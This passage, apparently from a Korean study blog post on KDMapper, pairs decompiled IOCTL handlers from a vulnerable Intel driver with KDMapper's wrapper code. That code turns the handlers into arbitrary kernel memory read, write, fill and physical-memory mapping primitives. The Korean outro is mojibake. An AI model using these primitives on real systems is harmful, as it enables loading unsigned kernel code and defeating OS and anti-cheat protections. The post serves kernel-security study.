return 0i64;
case 0x2Fi64:
if ( a1 == -16 )
goto LABEL_42;
*(_DWORD *)(a1 + 16) = sub_11F30((char *)(a1 + 20));
result = 0i64;
break;
case 0x30i64:
v4 = *(_QWORD *)(a1 + 24);
if ( v4 )
{
memset_11E70(v4, *(unsigned int *)(a1 + 16), *(_QWORD *)(a1 + 32));
result = 0i64;
}
else
{
sub_11F30("NAL_KMEMSET_FUNCID: One of the buffers was NULL\n");
result = 1i64;
}
return result;
case 0x31i64:
v5 = *(_QWORD *)(a1 + 24);
if ( v5 )
{
v6 = *(_QWORD *)(a1 + 16);
if ( v6 )
goto LABEL_29;
}
sub_11F30("NAL_KUMEMCPY_FUNCID: One of the buffers was NULL\n");
result = 1i64;
break;
case 0x32i64:
v5 = *(_QWORD *)(a1 + 24);
if ( v5 && (v6 = *(_QWORD *)(a1 + 16)) != 0 )
{
LABEL_29:
memmove_11EA0(v5, v6, *(_QWORD *)(a1 + 32));
result = 0i64;
}
else
{
sub_11F30("NAL_KKMEMCPY_FUNCID: One of the buffers was NULL\n");
result = 1i64;
}
break;
case 0x33i64:
memmove_11EA0(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 16), *(_QWORD *)(a1 + 32));
result = 0i64;
break;
case 0x36i64:
if ( a1 == -16 )
{
LABEL_42:
sub_11F30("NAL_ENABLE_DEBUG_PRINT_FUNCID: FunctionData is NULL\n");
result = 1i64;
}
else
{
sub_12000(*(unsigned __int8 *)(a1 + 16));
result = 0i64;
}
break;
case 0x37i64:
*(_QWORD *)(a1 + 16) = sub_12520(*(_DWORD *)(a1 + 24));
result = 0i64;
break;
case 0x38i64:
sub_12770(*(_QWORD *)(a1 + 16), *(_QWORD *)(a1 + 24), 0i64, 0i64);
result = 0i64;
break;
case 0x39i64:
*(_DWORD *)(a1 + 16) = sub_129C0(a1 + 24, *(_QWORD *)(a1 + 32), a1 + 40, *(_QWORD *)(a1 + 48));
result = 0i64;
break;
case 0x3Ai64:
*(_DWORD *)(a1 + 16) = sub_12220(
*(_QWORD *)(a1 + 24),
*(_QWORD *)(a1 + 32),
*(unsigned int *)(a1 + 40),
*(_QWORD *)(a1 + 48));
result = 0i64;
break;
case 0x3Bi64:
*(_QWORD *)(a1 + 16) = sub_11DE0(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32));
result = 0i64;
break;
default:
return (unsigned int)-932569064;
}
return result;
}
C
๋ณต์ฌ
1.4.3 MemCopy, ReadMemory, WriteMemory (Case 0x33)
Vuln Driver
case 0x33i64:
v12 = inputbuffer->len;
v13 = inputbuffer->address1;
arbitrary_write_11EA0((__int64)inputbuffer->address2);
result = 0i64;
break;
__int64 __fastcall arbitrary_write_11EA0(__int64 a1)
{
__int64 v1; // rbx
v1 = a1;
if ( KeGetCurrentIrql() <= 2u )
memmove();
return v1;
}
C
๋ณต์ฌ
KDMapper
bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
copy_memory_buffer.case_number = 0x33;
copy_memory_buffer.source = source;
copy_memory_buffer.destination = destination;
copy_memory_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
return MemCopy(device_handle, reinterpret_cast<uint64_t>(buffer), address, size);
}
bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
return MemCopy(device_handle, address, reinterpret_cast<uint64_t>(buffer), size);
}
C
๋ณต์ฌ
1.4.4 SetMemory (Case 0x30)
Vuln Driver
case 0x30i64:
v6 = inputbuffer->address2;
if ( v6 )
{
memset_11E70(v6, LODWORD(v1->address1), v1->len);
result = 0i64;
}
else
{
debug_log_11F30("NAL_KMEMSET_FUNCID: One of the buffers was NULL\n");
result = 1i64;
}
break;
__int64 __fastcall memset_11E70(__int64 a1, unsigned __int8 a2)
{
__int64 v2; // rbx
v2 = a1;
if ( KeGetCurrentIrql() <= 2u )
memset(a1, a2);
return v2;
}
C
๋ณต์ฌ
KDMapper
bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) {
if (!address || !size)
return 0;
FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 };
fill_memory_buffer.case_number = 0x30;
fill_memory_buffer.destination = address;
fill_memory_buffer.value = value;
fill_memory_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
C
๋ณต์ฌ
1.4.3 GetPhysicalAddress (Case 0x25)
Vuln Driver
case 0x25i64:
inputbuffer->address1 = (void *)GetPhysicalAddres_12010(inputbuffer->address2).QuadPart;
return 0i64;
C
๋ณต์ฌ
KDMapper
bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address) {
if (!address)
return 0;
GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 };
get_phys_address_buffer.case_number = 0x25;
get_phys_address_buffer.address_to_translate = address;
DWORD bytes_returned = 0;
if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr))
return false;
*out_physical_address = get_phys_address_buffer.return_physical_address;
return true;
}
C
๋ณต์ฌ
1.4.4 MapIoSpace (Case 0x19)
Vuln Driver
case 0x19i64:
LODWORD(inputbuffer->address1) = mapiospace_12AC0(
&inputbuffer->address2,
(PHYSICAL_ADDRESS)inputbuffer->len,
(unsigned int *)&inputbuffer[1]);
return 0i64;
C
๋ณต์ฌ
KDMapper
uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) {
if (!physical_address || !size)
return 0;
MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 };
map_io_space_buffer.case_number = 0x19;
map_io_space_buffer.physical_address_to_map = physical_address;
map_io_space_buffer.size = size;
DWORD bytes_returned = 0;
if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr))
return 0;
return map_io_space_buffer.return_virtual_address;
}
C
๋ณต์ฌ
1.4.5 UnmapIoSpace (Case 0x1A)
Vuln Driver
case 0x1Ai64:
v4 = LODWORD(inputbuffer[1].case);
v5 = inputbuffer->len;
LODWORD(inputbuffer->address1) = sub_121C0(inputbuffer->address2);
C
๋ณต์ฌ
KDMapper
bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) {
if (!address || !size)
return false;
UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 };
unmap_io_space_buffer.case_number = 0x1A;
unmap_io_space_buffer.virt_address = address;
unmap_io_space_buffer.number_of_bytes = size;
DWORD bytes_returned = 0;
return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr);
}
C
๋ณต์ฌ
2. Outro
๊ฐ์ธ์ ์ผ๋ก KDMapper๋ฅผ ๊ณต๋ถํ๋ฉด์ ์ปค๋์ ์๋ก์ด ๋ถ๋ถ์ ๊ณต๋ถํ๊ฒ ๋์์ต๋๋ค.
Kernel Anti-Cheat ์ฐ๊ตฌ์ ๊ด๋ จํด์ ์๋นํ ํ์ํ ํํธ๋ผ๊ณ ์๊ฐํ๋ฉฐ ํด๋น ์ฐ๊ตฌ์ ๊ธฐ์ด์ ์ธ ๋ถ๋ถ์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค.
์์ผ๋ก ์ข ๋ ์ ์งํ๋๋ก ํ๊ฒ ์ต๋๋ค.